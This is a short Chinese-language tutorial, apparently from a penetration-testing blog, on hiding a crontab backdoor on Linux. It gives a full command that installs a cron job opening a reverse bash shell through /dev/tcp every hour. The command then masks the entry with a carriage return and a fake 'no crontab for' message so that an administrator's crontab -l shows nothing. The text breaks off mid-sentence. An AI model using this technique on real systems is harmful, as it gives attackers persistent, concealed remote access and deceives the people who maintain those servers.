crontab定时后门
crontab是用来定期执行程序的命令,crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。
注意: 新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行
比如我们通过redis写crontab后,管理员上线 执行crontab -l
就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢?
其实 crontab -l
是查看保存在这里 /var/spool/cron/crontabs/root
文件。路径里的root对应每个用户不同的crontab
我们清除之前的cron, 再来一次。输入
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for
whoami%100c\n")|crontab -
这时候,管理员crontab -l